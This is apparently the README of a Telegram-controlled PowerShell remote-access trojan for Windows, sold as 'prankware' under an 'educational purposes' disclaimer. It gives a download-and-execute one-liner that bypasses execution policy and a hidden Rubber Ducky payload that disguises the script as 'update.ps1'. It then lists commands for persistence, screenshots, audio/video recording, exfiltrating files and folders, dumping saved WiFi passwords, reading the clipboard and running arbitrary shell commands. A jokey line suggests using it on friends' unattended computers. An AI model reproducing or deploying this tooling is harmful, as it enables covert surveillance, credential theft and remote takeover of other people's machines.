Warning
This script is for educational purposes only. Do NOT use it on systems you do not own or have explicit permission to test. Misuse may be illegal and can have serious consequences.
Get persistent remote control access through Telegram commands. Don't use it when your friends are away from their computer 🤫 This script allows you to control a Windows system remotely through Telegram, offering various functionalities like taking screenshots, sending files, recording audio/video, locking or restarting the system, and more.
- Windows 10 or newer
- PowerShell 5 or later (built-in)
- Internet connection
- A Telegram bot token (from @BotFather)
- Your own Telegram user ID (use @userinfobot)
- Open Telegram and search for
@BotFather. - Start a conversation and type
/newbotto create a new bot. - Follow the instructions to set a name and username for your bot.
- After completion, you will receive a bot token which you'll use in the script.
Before running the script, allow PowerShell to execute local scripts:
Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy RemoteSignedSet-ExecutionPolicy -Scope Process -ExecutionPolicy Bypassiwr 'https://example.com/urfile.ps1' -UseBasicParsing -OutFile $env:TEMP\prankware.ps1; powershell -ep bypass -File $env:TEMP\prankware.ps1Hidden PowerShell Ducky Script EXAMPLE
GUI r
DELAY 300
STRING powershell -WindowStyle Hidden -ep bypass -Command iwr 'https://example.com/urfile.ps1' -UseBasicParsing -OutFile $env:TEMP/update.ps1; powershell -ep bypass -File $env:TEMP/update.ps1
ENTER/lock→ Locks the workstation./restart→ Restarts the computer./shutdown→ Shuts down the computer./notepad→ Opens Notepad./pcname→ Shows the computer name./ip→ Shows local and public IP addresses./screenshot→ Takes a screenshot and sends it to the chat./sendfile <path>→ Sends a file from the local disk./sendfolder <path>→ Sends a zipped folder./visit <url>→ Opens a URL in the default browser./screenshot→ Sends a screenshot.
cd <path>→ Change directory.cd→ Show current directory.lsordir→ List files/folders in current directory./delete <path>→ Delete a file or folder./rename <old> <new>→ Rename or move a file/folder.
/processes→ List running processes./kill <pid>→ Kill process by PID./tasklist→ Top 25 processes by memory usage./taskkill <name>→ Kill processes by name./services→ List running services.
/getclipboard→ Get text from clipboard./setclipboard <text>→ Set text to clipboard./sysinfo→ System details (CPU, RAM, OS, disk)./wifi→ List saved WiFi networks + passwords.
/help→ Shows all commands./selfdestruct→ Removes persistence and deletes the script./cmd <command>→ Run CMD command./powershell <command>→ Run PowerShell command.